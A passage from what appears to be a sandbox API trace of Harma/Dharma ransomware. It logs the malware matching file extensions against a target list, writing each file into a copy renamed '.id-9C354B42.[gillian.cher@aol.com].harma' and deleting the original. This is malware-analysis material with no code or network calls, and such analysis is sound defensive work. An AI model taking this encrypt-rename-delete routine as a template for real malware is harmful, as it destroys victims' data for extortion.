Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD") returned 60 [0164.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD") returned 60 [0164.924] lstrlenW (lpString=".doc") returned 4 [0164.924] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0164.924] lstrlenW (lpString=".docx") returned 5 [0164.924] lstrcmpiW (lpString1=".docx", lpString2="K.VRD") returned -1 [0164.924] lstrlenW (lpString=".pdf") returned 4 [0164.924] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0164.924] lstrlenW (lpString=".xls") returned 4 [0164.924] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0164.924] lstrlenW (lpString=".xlsx") returned 5 [0164.924] lstrcmpiW (lpString1=".xlsx", lpString2="K.VRD") returned -1 [0164.924] lstrlenW (lpString=".ppt") returned 4 [0164.924] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0164.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD") returned 60 [0164.924] lstrlenW (lpString=".zip") returned 4 [0164.924] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0164.924] lstrlenW (lpString=".rar") returned 4 [0164.924] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0164.924] lstrlenW (lpString=".bz2") returned 4 [0164.924] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0164.924] lstrlenW (lpString=".7z") returned 3 [0164.924] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0164.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD") returned 60 [0164.924] lstrlenW (lpString=".dbf") returned 4 [0164.924] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0164.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD") returned 60 [0164.924] lstrlenW (lpString=".1cd") returned 4 [0164.924] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0164.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD") returned 60 [0164.925] lstrlenW (lpString=".jpg") returned 4 [0164.925] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0164.925] lstrcmpiW (lpString1=".HXT", lpString2=".harma") returned 1 [0164.925] lstrlenW (lpString="WINPROJ.DEV_COL.HXT") returned 19 [0164.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0164.927] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=211) returned 1 [0164.927] CloseHandle (hObject=0x3ac) returned 1 [0164.927] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_col.hxt")) returned 0x20 [0164.927] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_col.hxt.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0164.927] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0164.927] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0164.928] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0164.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_col.hxt.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0164.928] GetLastError () returned 0x0 [0164.928] ReadFile (in: hFile=0x3ac, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0xd3, lpOverlapped=0x0) returned 1 [0164.929] WriteFile (in: hFile=0x378, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0164.930] ReadFile (in: hFile=0x3ac, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x0, lpOverlapped=0x0) returned 1 [0164.930] WriteFile (in: hFile=0x378, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xfa, lpOverlapped=0x0) returned 1 [0164.931] SetEndOfFile (hFile=0x378) returned 1 [0164.931] CloseHandle (hObject=0x378) returned 1 [0164.931] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0164.931] SetEndOfFile (hFile=0x3ac) returned 1 [0164.935] CloseHandle (hObject=0x3ac) returned 1 [0164.935] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0164.940] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_col.hxt")) returned 1 [0164.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT") returned 67 [0164.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT") returned 67 [0164.941] lstrlenW (lpString=".doc") returned 4 [0164.941] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0164.941] lstrlenW (lpString=".docx") returned 5 [0164.941] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0164.941] lstrlenW (lpString=".pdf") returned 4 [0164.941] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0164.941] lstrlenW (lpString=".xls") returned 4 [0164.941] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0164.941] lstrlenW (lpString=".xlsx") returned 5 [0164.941] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0164.941] lstrlenW (lpString=".ppt") returned 4 [0164.941] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0164.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT") returned 67 [0164.941] lstrlenW (lpString=".zip") returned 4 [0164.941] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0164.941] lstrlenW (lpString=".rar") returned 4 [0164.941] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0164.941] lstrlenW (lpString=".bz2") returned 4 [0164.941] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0164.941] lstrlenW (lpString=".7z") returned 3 [0164.941] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0164.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT") returned 67 [0164.941] lstrlenW (lpString=".dbf") returned 4 [0164.941] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0164.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT") returned 67 [0164.941] lstrlenW (lpString=".1cd") returned 4 [0164.942] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0164.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT") returned 67 [0164.942] lstrlenW (lpString=".jpg") returned 4 [0164.942] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0164.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT") returned 67 [0164.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT") returned 67 [0164.942] lstrlenW (lpString=".doc") returned 4 [0164.942] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0164.942] lstrlenW (lpString=".docx") returned 5 [0164.942] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0164.942] lstrlenW (lpString=".pdf") returned 4 [0164.942] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0164.942] lstrlenW (lpString=".xls") returned 4 [0164.942] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0164.942] lstrlenW (lpString=".xlsx") returned 5 [0164.942] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0164.942] lstrlenW (lpString=".ppt") returned 4 [0164.942] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0164.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT") returned 67 [0164.942] lstrlenW (lpString=".zip") returned 4 [0164.942] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0164.942] lstrlenW (lpString=".rar") returned 4 [0164.942] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0164.943] lstrlenW (lpString=".bz2") returned 4 [0164.943] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0164.943] lstrlenW (lpString=".7z") returned 3 [0164.943] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0164.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT") returned 67 [0164.943] lstrlenW (lpString=".dbf") returned 4 [0164.943] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0164.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT") returned 67 [0164.943] lstrlenW (lpString=".1cd") returned 4 [0164.943] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0164.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT") returned 67 [0164.943] lstrlenW (lpString=".jpg") returned 4 [0164.943] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0164.943] lstrcmpiW (lpString1=".HXK", lpString2=".harma") returned 1 [0164.943] lstrlenW (lpString="WINPROJ.DEV_F_COL.HXK") returned 21 [0164.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0164.945] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=114) returned 1 [0164.945] CloseHandle (hObject=0x3ac) returned 1 [0164.946] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_f_col.hxk")) returned 0x20 [0164.946] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_f_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0164.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0164.946] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0164.946] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0164.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_f_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0164.947] GetLastError () returned 0x0 [0164.947] ReadFile (in: hFile=0x3ac, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x72, lpOverlapped=0x0) returned 1 [0164.948] WriteFile (in: hFile=0x378, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0x80, lpOverlapped=0x0) returned 1 [0164.949] ReadFile (in: hFile=0x3ac, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x0, lpOverlapped=0x0) returned 1 [0164.949] WriteFile (in: hFile=0x378, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xfe, lpOverlapped=0x0) returned 1 [0164.949] SetEndOfFile (hFile=0x378) returned 1 [0164.949] CloseHandle (hObject=0x378) returned 1 [0164.949] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0164.949] SetEndOfFile (hFile=0x3ac) returned 1 [0164.952] CloseHandle (hObject=0x3ac) returned 1 [0164.952] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0164.952] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_f_col.hxk")) returned 1 [0164.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK") returned 69 [0164.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK") returned 69 [0164.953] lstrlenW (lpString=".doc") returned 4 [0164.953] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0164.953] lstrlenW (lpString=".docx") returned 5 [0164.953] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0164.953] lstrlenW (lpString=".pdf") returned 4 [0164.953] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0164.953] lstrlenW (lpString=".xls") returned 4 [0164.953] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0164.953] lstrlenW (lpString=".xlsx") returned 5 [0164.953] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0164.953] lstrlenW (lpString=".ppt") returned 4 [0164.953] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0164.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK") returned 69 [0164.953] lstrlenW (lpString=".zip") returned 4 [0164.953] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0164.953] lstrlenW (lpString=".rar") returned 4 [0164.954] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0164.954] lstrlenW (lpString=".bz2") returned 4 [0164.954] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0164.954] lstrlenW (lpString=".7z") returned 3 [0164.954] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0164.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK") returned 69 [0164.954] lstrlenW (lpString=".dbf") returned 4 [0164.954] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0164.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK") returned 69 [0164.954] lstrlenW (lpString=".1cd") returned 4 [0164.954] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0164.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK") returned 69 [0164.954] lstrlenW (lpString=".jpg") returned 4 [0164.954] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0164.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK") returned 69 [0164.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK") returned 69 [0164.954] lstrlenW (lpString=".doc") returned 4 [0164.954] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0164.954] lstrlenW (lpString=".docx") returned 5 [0164.954] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0164.954] lstrlenW (lpString=".pdf") returned 4 [0164.954] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0164.954] lstrlenW (lpString=".xls") returned 4 [0164.954] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0164.954] lstrlenW (lpString=".xlsx") returned 5 [0164.954] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0164.954] lstrlenW (lpString=".ppt") returned 4 [0164.954] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0164.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK") returned 69 [0164.955] lstrlenW (lpString=".zip") returned 4 [0164.955] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0164.955] lstrlenW (lpString=".rar") returned 4 [0164.955] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0164.955] lstrlenW (lpString=".bz2") returned 4 [0164.955] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0164.955] lstrlenW (lpString=".7z") returned 3 [0164.955] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0164.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK") returned 69 [0164.955] lstrlenW (lpString=".dbf") returned 4 [0164.955] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0164.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK") returned 69 [0164.955] lstrlenW (lpString=".1cd") returned 4 [0164.955] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0164.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK") returned 69 [0164.955] lstrlenW (lpString=".jpg") returned 4 [0164.955] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0164.955] lstrcmpiW (lpString1=".HXK", lpString2=".harma") returned 1 [0164.955] lstrlenW (lpString="WINPROJ.DEV_K_COL.HXK") returned 21 [0164.955] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0164.958] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=113) returned 1 [0164.958] CloseHandle (hObject=0x3ac) returned 1 [0164.958] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_k_col.hxk")) returned 0x20 [0164.958] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_k_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0164.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0164.958] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0164.959] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0164.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_k_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0164.961] GetLastError () returned 0x0 [0164.961] ReadFile (in: hFile=0x3ac, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x71, lpOverlapped=0x0) returned 1 [0164.962] WriteFile (in: hFile=0x378, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0x80, lpOverlapped=0x0) returned 1 [0164.963] ReadFile (in: hFile=0x3ac, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x0, lpOverlapped=0x0) returned 1 [0164.963] WriteFile (in: hFile=0x378, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xfe, lpOverlapped=0x0) returned 1 [0164.963] SetEndOfFile (hFile=0x378) returned 1 [0164.964] CloseHandle (hObject=0x378) returned 1 [0164.964] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0164.964] SetEndOfFile (hFile=0x3ac) returned 1 [0164.966] CloseHandle (hObject=0x3ac) returned 1 [0164.966] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0164.967] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_k_col.hxk")) returned 1 [0164.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK") returned 69 [0164.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK") returned 69 [0164.967] lstrlenW (lpString=".doc") returned 4 [0164.967] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0164.967] lstrlenW (lpString=".docx") returned 5 [0164.967] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0164.967] lstrlenW (lpString=".pdf") returned 4 [0164.968] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0164.968] lstrlenW (lpString=".xls") returned 4 [0164.968] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0164.968] lstrlenW (lpString=".xlsx") returned 5 [0164.968] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0164.968] lstrlenW (lpString=".ppt") returned 4 [0164.968] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0164.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK") returned 69 [0164.968] lstrlenW (lpString=".zip") returned 4 [0164.968] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0164.968] lstrlenW (lpString=".rar") returned 4 [0164.968] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0164.968] lstrlenW (lpString=".bz2") returned 4 [0164.968] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0164.968] lstrlenW (lpString=".7z") returned 3 [0164.968] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0164.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK") returned 69 [0164.968] lstrlenW (lpString=".dbf") returned 4 [0164.968] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0164.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK") returned 69 [0164.968] lstrlenW (lpString=".1cd") returned 4 [0164.968] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0164.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK") returned 69 [0164.968] lstrlenW (lpString=".jpg") returned 4 [0164.968] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0164.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK") returned 69 [0164.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK") returned 69 [0164.968] lstrlenW (lpString=".doc") returned 4 [0164.968] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0164.968] lstrlenW (lpString=".docx") returned 5 [0164.968] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0164.968] lstrlenW (lpString=".pdf") returned 4 [0164.969] lstrcmpiW (lpString1=".pdf", 